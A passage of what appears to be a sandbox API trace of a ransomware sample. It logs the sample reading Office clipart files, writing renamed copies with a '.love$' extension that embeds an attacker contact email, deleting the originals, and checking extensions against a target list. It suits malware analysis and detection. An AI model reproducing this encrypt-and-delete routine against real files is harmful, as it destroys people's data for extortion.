lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0269.255] WriteFile (in: hFile=0x4e4, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0269.255] SetEndOfFile (hFile=0x4e4) returned 1 [0269.255] CloseHandle (hObject=0x4e4) returned 1 [0269.256] SetFilePointerEx (in: hFile=0x418, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.256] SetEndOfFile (hFile=0x418) returned 1 [0269.263] CloseHandle (hObject=0x418) returned 1 [0269.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0269.264] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099181.wmf")) returned 1 [0269.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0269.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0269.266] lstrlenW (lpString=".doc") returned 4 [0269.267] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.267] lstrlenW (lpString=".docx") returned 5 [0269.267] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0269.267] lstrlenW (lpString=".pdf") returned 4 [0269.267] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.267] lstrlenW (lpString=".xls") returned 4 [0269.267] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.267] lstrlenW (lpString=".xlsx") returned 5 [0269.267] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0269.267] lstrlenW (lpString=".ppt") returned 4 [0269.267] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0269.267] lstrlenW (lpString=".zip") returned 4 [0269.267] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.267] lstrlenW (lpString=".rar") returned 4 [0269.267] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.267] lstrlenW (lpString=".bz2") returned 4 [0269.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.812] lstrlenW (lpString=".7z") returned 3 [0269.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0269.812] lstrlenW (lpString=".dbf") returned 4 [0269.813] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0269.813] lstrlenW (lpString=".1cd") returned 4 [0269.813] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0269.813] lstrlenW (lpString=".jpg") returned 4 [0269.813] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.839] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0269.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0269.840] lstrlenW (lpString=".doc") returned 4 [0269.840] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0269.840] lstrlenW (lpString=".docx") returned 5 [0269.840] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0269.840] lstrlenW (lpString=".pdf") returned 4 [0269.840] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0269.840] lstrlenW (lpString=".xls") returned 4 [0269.840] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0269.840] lstrlenW (lpString=".xlsx") returned 5 [0269.840] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0269.840] lstrlenW (lpString=".ppt") returned 4 [0269.840] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0269.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0269.841] lstrlenW (lpString=".zip") returned 4 [0269.841] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0269.841] lstrlenW (lpString=".rar") returned 4 [0269.841] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0269.841] lstrlenW (lpString=".bz2") returned 4 [0269.841] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0269.841] lstrlenW (lpString=".7z") returned 3 [0269.841] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0269.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0269.841] lstrlenW (lpString=".dbf") returned 4 [0269.841] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0269.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0269.841] lstrlenW (lpString=".1cd") returned 4 [0269.841] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0269.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099181.WMF") returned 68 [0269.841] lstrlenW (lpString=".jpg") returned 4 [0269.841] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0269.842] lstrcmpiW (lpString1=".JPG", lpString2=".love$") returned -1 [0269.842] lstrlenW (lpString="J0099187.JPG") returned 12 [0269.842] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0269.846] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=24528) returned 1 [0269.846] CloseHandle (hObject=0x57c) returned 1 [0269.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 0x220 [0269.846] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0269.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0269.847] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.847] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0269.849] GetLastError () returned 0x0 [0269.849] ReadFile (in: hFile=0x57c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x5fd0, lpOverlapped=0x0) returned 1 [0269.857] WriteFile (in: hFile=0x4ac, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x5fe0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x5fe0, lpOverlapped=0x0) returned 1 [0269.859] ReadFile (in: hFile=0x57c, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0269.859] WriteFile (in: hFile=0x4ac, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0269.860] SetEndOfFile (hFile=0x4ac) returned 1 [0269.860] CloseHandle (hObject=0x4ac) returned 1 [0269.884] SetFilePointerEx (in: hFile=0x57c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0269.884] SetEndOfFile (hFile=0x57c) returned 1 [0270.387] CloseHandle (hObject=0x57c) returned 1 [0270.387] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0270.650] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 1 [0270.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0270.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0270.654] lstrlenW (lpString=".doc") returned 4 [0270.654] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0270.654] lstrlenW (lpString=".docx") returned 5 [0270.655] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0270.655] lstrlenW (lpString=".pdf") returned 4 [0270.655] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0270.655] lstrlenW (lpString=".xls") returned 4 [0270.655] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0270.655] lstrlenW (lpString=".xlsx") returned 5 [0270.655] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0270.655] lstrlenW (lpString=".ppt") returned 4 [0270.655] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0270.655] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0270.655] lstrlenW (lpString=".zip") returned 4 [0270.655] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0270.655] lstrlenW (lpString=".rar") returned 4 [0270.655] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0270.655] lstrlenW (lpString=".bz2") returned 4 [0270.655] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0270.655] lstrlenW (lpString=".7z") returned 3 [0270.656] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0270.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0270.656] lstrlenW (lpString=".dbf") returned 4 [0270.656] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0270.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0270.656] lstrlenW (lpString=".1cd") returned 4 [0270.656] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0270.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0270.656] lstrlenW (lpString=".jpg") returned 4 [0270.656] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0270.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0270.656] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0270.656] lstrlenW (lpString=".doc") returned 4 [0270.656] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0270.656] lstrlenW (lpString=".docx") returned 5 [0270.656] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1 [0270.657] lstrlenW (lpString=".pdf") returned 4 [0270.657] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0270.657] lstrlenW (lpString=".xls") returned 4 [0270.657] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0270.657] lstrlenW (lpString=".xlsx") returned 5 [0270.657] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1 [0270.657] lstrlenW (lpString=".ppt") returned 4 [0270.657] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0270.657] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0270.657] lstrlenW (lpString=".zip") returned 4 [0270.657] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0270.657] lstrlenW (lpString=".rar") returned 4 [0270.657] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0270.657] lstrlenW (lpString=".bz2") returned 4 [0270.657] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0270.657] lstrlenW (lpString=".7z") returned 3 [0270.658] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0270.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0270.658] lstrlenW (lpString=".dbf") returned 4 [0270.658] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0270.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0270.658] lstrlenW (lpString=".1cd") returned 4 [0270.658] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0270.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68 [0270.658] lstrlenW (lpString=".jpg") returned 4 [0270.658] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0270.658] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0270.658] lstrlenW (lpString="J0099193.GIF") returned 12 [0270.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0270.660] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=35546) returned 1 [0270.661] CloseHandle (hObject=0x574) returned 1 [0270.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 0x220 [0270.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0270.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0270.662] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.662] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x488 [0270.664] GetLastError () returned 0x0 [0270.664] ReadFile (in: hFile=0x574, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x8ada, lpOverlapped=0x0) returned 1 [0270.669] WriteFile (in: hFile=0x488, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x8ae0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x8ae0, lpOverlapped=0x0) returned 1 [0270.671] ReadFile (in: hFile=0x574, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0270.671] WriteFile (in: hFile=0x488, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0270.671] SetEndOfFile (hFile=0x488) returned 1 [0270.672] CloseHandle (hObject=0x488) returned 1 [0270.672] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.672] SetEndOfFile (hFile=0x574) returned 1 [0270.677] CloseHandle (hObject=0x574) returned 1 [0270.677] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0270.678] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099193.gif")) returned 1 [0270.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0270.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0270.680] lstrlenW (lpString=".doc") returned 4 [0270.680] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0270.680] lstrlenW (lpString=".docx") returned 5 [0270.680] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0270.680] lstrlenW (lpString=".pdf") returned 4 [0270.681] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0270.681] lstrlenW (lpString=".xls") returned 4 [0270.681] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0270.681] lstrlenW (lpString=".xlsx") returned 5 [0270.681] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0270.681] lstrlenW (lpString=".ppt") returned 4 [0270.681] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0270.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0270.681] lstrlenW (lpString=".zip") returned 4 [0270.681] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0270.681] lstrlenW (lpString=".rar") returned 4 [0270.681] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0270.681] lstrlenW (lpString=".bz2") returned 4 [0270.681] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0270.681] lstrlenW (lpString=".7z") returned 3 [0270.681] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0270.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0270.681] lstrlenW (lpString=".dbf") returned 4 [0270.681] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0270.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0270.681] lstrlenW (lpString=".1cd") returned 4 [0270.681] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0270.681] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0270.682] lstrlenW (lpString=".jpg") returned 4 [0270.682] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0270.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0270.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0270.682] lstrlenW (lpString=".doc") returned 4 [0270.682] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0270.682] lstrlenW (lpString=".docx") returned 5 [0270.682] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0270.682] lstrlenW (lpString=".pdf") returned 4 [0270.682] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0270.682] lstrlenW (lpString=".xls") returned 4 [0270.682] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0270.682] lstrlenW (lpString=".xlsx") returned 5 [0270.682] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0270.682] lstrlenW (lpString=".ppt") returned 4 [0270.682] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0270.682] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0270.682] lstrlenW (lpString=".zip") returned 4 [0270.682] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0270.682] lstrlenW (lpString=".rar") returned 4 [0270.682] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0270.682] lstrlenW (lpString=".bz2") returned 4 [0270.682] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0270.682] lstrlenW (lpString=".7z") returned 3 [0270.683] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0270.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0270.683] lstrlenW (lpString=".dbf") returned 4 [0270.683] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0270.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0270.683] lstrlenW (lpString=".1cd") returned 4 [0270.683] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0270.683] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099193.GIF") returned 68 [0270.683] lstrlenW (lpString=".jpg") returned 4 [0270.683] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0270.683] lstrcmpiW (lpString1=".GIF", lpString2=".love$") returned -1 [0270.683] lstrlenW (lpString="J0099194.GIF") returned 12 [0270.683] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0270.685] GetFileSizeEx (in: hFile=0x574, lpFileSize=0x298ff14 | out: lpFileSize=0x298ff14*=25265) returned 1 [0270.685] CloseHandle (hObject=0x574) returned 1 [0270.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif")) returned 0x220 [0270.685] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0270.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x574 [0270.686] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.687] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.687] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099194.GIF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099194.gif.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0270.816] GetLastError () returned 0x0 [0270.816] ReadFile (in: hFile=0x574, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x62b1, lpOverlapped=0x0) returned 1 [0270.821] WriteFile (in: hFile=0x57c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0x62c0, lpOverlapped=0x0) returned 1 [0270.823] ReadFile (in: hFile=0x574, lpBuffer=0x3b98020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x298fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesRead=0x298fecc*=0x0, lpOverlapped=0x0) returned 1 [0270.824] WriteFile (in: hFile=0x57c, lpBuffer=0x3b98020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x298fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b98020*, lpNumberOfBytesWritten=0x298fc94*=0xec, lpOverlapped=0x0) returned 1 [0270.824] SetEndOfFile (hFile=0x57c) returned 1 [0270.824] CloseHandle (hObject=0x57c) returned 1 [0270.824] SetFilePointerEx (in: hFile=0x574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x298fec0 | out: lpNewFilePointer=0x0) returned 1 [0270.824] SetEndOfFile (hFile=0x574) returned 1 [0270.829] CloseHandle 